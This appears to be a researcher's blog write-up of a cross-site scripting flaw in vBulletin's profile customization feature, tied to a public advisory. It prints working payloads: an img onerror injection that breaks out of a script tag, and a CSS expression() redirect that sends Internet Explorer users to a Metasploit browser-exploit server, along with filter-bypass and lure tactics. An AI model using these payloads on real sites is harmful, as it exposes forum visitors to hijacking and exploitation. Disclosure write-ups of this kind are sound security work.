The popular vBulletin software is generally a quite secure forum application if you exclude the minimal amount of vulnerable addons. However, when new features are occasionally included, such as Profile Customization, a new vulnerability might be born.
In the actual customization feature it is possible to supply color codes such as: #000000, RGB codes like rgb(255, 255, 255) and even images! Imagine changing the user profile background, to a custom image. This is possible with url(‘path/to/image.png’)! But there’s more..
With a new feature accepting custom strings from a user, wouldn’t a hacker try to break it? Of course he or she would. A locator string such as: ?’HaXx”/\>< is sufficient to break almost any unsanitized web application including user features within these.
As shown above, the profile customization feature allows even custom (invalid) strings and this could be bad, especially if they aren’t escaped or encoded correctly.
In this scenario, apostrophes are escaped so they become: \’ which is good because neither a user nor hacker will be able to add javascript right after the style variable. However, quotes and HTML tags are not escaped nor encoded. This allows a hacker to simply end the script tag and possibly inject HTML or script tags. There are luckily some bad words, in this case the <script> tag is bad as it is matched with most likely the preg_match() function, but that is far from sufficient since a hacker can easily inject other tags.
Just because <script> can’t be used, it doesn’t mean it is impossible to execute javascript. In fact, it is piece of cake for experienced XSS hackers. Take for example, the image tag <img>. With that it is possible to add an “onerror” eventhandler which is executed in case the image isn’t loaded, and the content of the eventhandler, is javascript of course. Before even trying to inject javascript, a simple image could be used for testing so the final string could look like this:
url(</script><img src="" />)
As seen per the source code of the target site, the input is working as expected though an image has not been supplied to the source (src) variable, which is added afterwards via a new “attack” of course.
Success! But what about javascript?
After testing the feature a bit more, it appears that custom strings needs to be encoded, and this can easily be done with virtually any (good) encoder online, but “The /* XSSOR */” does the job fast and efficiently. There is however, a bug in the online version which escapes user input due to magic quotes being enabled. Therefore, avoid ‘ ” and \ in any strings sent to the application in case you use it.
When a simple string such as “Hello MaXe” is encoded in character codes, the final string can look like this:
When a simple string such as “Hello MaXe” is encoded in character codes, the final string can look like this:
url(</script><img src="x:x" onerror="alert(String.fromCharCode(73,110,116,101,114,78,48,84,11))" />)
Now after researching this vulnerability a bit more in depth, it was quickly discovered that the initial vulnerability is only reflected back to the hacker. This is good for the forum administrator, and bad for the hacker. The developers of this application may have thought it wasn’t possible to inject javascript into CSS style sheets, but that is incorrect because that is certainly possible. The first vulnerability discovered was within a script tag, while to any other user browsing the malicious forum profile, the code is contained within an external file disabling both tag escape sequences and other bypass methods too. However, as mentioned in the XSS stylesheet at ha.ckers.org, it is possible to inject javascript into CSS style sheets if the target user is using Internet Explorer (version 6 and most likely 7. Maybe even 8 as well, perhaps future versions too.) With this knowledge in our mind, our attack vector changes from being a simple XSS attack contained within a script tag, to a CSS style sheet where the target browser must be included in the attack as well. For demonstration purposes, an old version of Internet Explorer 6 is used. Not only to show this attack vector, but also to show what is possible to do with XSS!
A redirection string is injected into the malicious user profile controlled by the hacker, and the actual attack string could look like this:
url(/);width:expression(document.location="http://127.0.0.1:1234")
One may wonder, why redirect to the localhost? In this proof of concept, the target is redirected to a hacker serving a browser exploit via Metasploit. The above string is just an example.
All the target user running an ancient version of Internet Explorer has to do, is to view the malicious profile controlled by the hacker. When this happens, for example with a bit of Social Engineering (“hey! check out my profile!”) the viewer is redirected to the attacking machine which serves a browser exploit right away.
And boom! Pwned via XSS + Browser Exploit. If that isn’t serious, I don’t know what is. Of course, for this to work in real life scenarios, the target user must either have an outdated browser (quite common), or the hacker must have a 0day for that specific browser. Browser Exploitation Kits can be used as well, where the target is first identified as being e.g. IE or FF, and then all relevant exploits are fired against it.
Check out the video and the advisory disclosed to Exploit-DB, Bugtraq and InterN0T in case you haven’t read it yet.
All the best,
MaXe
All the best,
MaXe
